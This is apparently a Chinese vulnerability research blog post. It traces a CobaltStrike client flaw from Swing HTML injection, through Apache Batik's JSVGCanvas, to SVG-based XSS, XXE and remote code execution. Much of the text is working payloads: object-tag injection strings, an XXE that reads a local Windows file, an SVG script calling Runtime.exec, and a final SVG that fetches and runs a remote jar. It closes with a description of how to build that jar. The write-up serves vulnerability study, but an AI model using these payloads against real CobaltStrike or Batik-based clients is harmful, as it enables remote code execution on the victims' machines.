一、 swing漏洞
大家最近一定被CobaltStrike漏洞刷屏了,我是先写了fastjson1.2.80的漏洞再去看CobaltStrike,但已经被别人分析的差不多了。
还是先拜读https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
这个漏洞本质上是java自带的GUI组件swing的html注入。
也就是经典的<html><img src=http://1.1.1.1/1.jpg>
大家本地复现的时候可以跟我一样插在listener这个位置,就不用去伪装上线或者hook进程/文件等。
那这能造成什么危害呢?很明显是个SSRF,所以一开始的思路是java+SSRF=net-NTLM/RELAY。
也有人朝XSS方向去想,但经过分析,Swing显然不存在js组件。
因此漂亮鼠分析出了object标签进行Component对象注入,在javax.swing.text.html.ObjectView类中,我们可以找到示例代码。
<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>
在菜鸟教程里抄份Swing的代码,调一下大小,进行object注入。
package test;
import java.awt.Dimension;
import javax.swing.*;
public class HelloWorldSwing {
private static void createAndShowGUI() {
// 确保一个漂亮的外观风格
JFrame.setDefaultLookAndFeelDecorated(true);
// 创建及设置窗口
JFrame frame = new JFrame("HelloWorldSwing");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setPreferredSize(new Dimension(800, 600));
// 添加 "Hello World" 标签
String payload = "<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>";
System.out.println(payload);
JLabel label = new JLabel(payload);
frame.getContentPane().add(label);
// 显示窗口
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) {
// 显示应用 GUI
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
createAndShowGUI();
}
});
}
}
可以看到,JLabel被成功注入,与之类似的,我们可以注入各种样式的框,那么接下来的任务就是找出可以造成危害的链。
二、 寻找set链
对javax.swing.JLabel.setText()下断点,可以追踪到ObjectView.createComponent()
可以在其中看到具体的用反射实例化并调用setter的代码。
漂亮鼠的文章已经将具体需求总结好了。
那么我们可以反编译rt.jar和CobaltStrike.jar,建立codeql数据库,寻找符合条件的类和setter。由于之前找过fastjson的链,所以稍微改改就行,ql如下。
class SetMethod extends Method{
SetMethod(){
this.getDeclaringType().getASupertype*().hasQualifiedName("java.awt", "Component") and
this.getName().indexOf("set") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.getNumberOfParameters() = 1
and this.getAParamType().getName() = "String"
and this.getTotalNumberOfLines() > 3
and this.getDeclaringType().getAConstructor().isPublic()
and this.getDeclaringType().getAConstructor().hasNoParameters()
}
}
from SetMethod setMethod
select setMethod, setMethod.getDeclaringType().getPackage().getName()+"."+setMethod.getDeclaringType()
rt.jar结果如下
这个setPage是不是很熟悉?在fastjson和jackson中,曾经是个SSRF链。
不过这里用不了,稍微跟一下就会发现存在两个setPage,有一个要求传URL对象,因此会报错。不过这里不是重点,就稍微提一下。
CobaltStrike.jar结果如下。
org.apache.batik.swing.JSVGCanvas.setURI()非常可疑,也是我一开始就锁定的链,查看代码。
跟进loadSVGDocument()
可以看到明显建立了链接,并进行内容处理,从名字可以看得出来和svg有关,搜索apache batik,发现确实是svg项目。
将CobaltStrike.jar加入依赖,构造一下payload。
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:5667'></object>
从UA可以看得出来,确实是Batik访问的,而且版本较低,我们找对了方向。
三、 svg的XSS和XXE
svg有什么危害呢?在我很久以前的XSS文章中就说了,可以XSS。但Swing似乎无法执行js,我们来试一试。
新建一个XSS.svg
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
alert(1);
</script>
</svg>
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/XSS.svg'></object>
注入后发现报错
缺少的这个组件也很熟悉,在学习反序列化的时候我们接触过,是js.jar(后来似乎叫rhino),添加依赖后。
好的,我们成功获得了一个XSS,但似乎没有卵用,一来cs没有js.jar或者rhino的依赖,二来Swing中的XSS好像啥也不能做。
于是我们去搜Batik的历史漏洞,发现了它可以XXE。
https://xz.aliyun.com/t/1920/
也很容易构造出payload。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///C:/windows/win.ini" >
]>
<svg width="100%" height="100%" version="1.1"
xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&file;</text>
</svg>
java上的XXE oob限制很大,这对于RCE来说似乎还是没有什么卵用,于是我们去Batik官网上找文档,发现了一个神奇的功能。
https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html
居然可以import,尝试构造payload。
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
importPackage(Packages.java.io);
Runtime.getRuntime().exec('calc');
</script>
</svg>
执行成功!这难道就是正确答案吗?拿去cs上试一下。
很遗憾,这个svg RCE必须js组件才行,并不能在cs中使用。还需要找到别的利用链。
四、 svg到jar
在Batik官网中,我们看到过text/ecmascript这个东西,ecmascript是什么?搜索后发现。
所以它可以理解为是JavaScript的一个标准
那么Batik还支持哪些脚本,我们在cs的反编译的源码中全局搜索一下。
随便点开一个看一眼,很快发现了一个可能的答案。
其他type本质上都是js,只有application/java-archive显得格格不入,再搜索一下代码中关于application/java-archive的处理。
在org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts()中发现
这不是一眼就是对jar包的处理并远程加载类吗?那么如何才能让代码走到这里呢?可以先用codeql确定一下能否走到这里。
如果纯看代码自己构造,非常繁琐,所以直接谷歌,用application/java-archive svg关键词,很快找到了我们要的答案。
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
甚至exploit-db和metasploit-framework也有收录。
https://www.exploit-db.com/exploits/18890
https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/batik_svg_java.rb
而这个标准至少2002年就定下的,间隔了20年的漏洞。
https://www.w3.org/TR/2002/WD-SVG11-20020215/java.html
构造payload
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="application/java-archive" xlink:href="http://127.0.0.1:81/exp.jar">
</script>
</svg>
jar包如何写呢?看BaseScriptingEnvironment代码,有两种写法。
一种是实现EventListenerInitializer类,MANIFEST.MF指定SVG-Handler-Class。
一种是实现ScriptHandler类,MANIFEST.MF指定Script-Handler。
分别依赖batik-ext-1.5.jar/batik-script-1.5.jar
至此完成RCE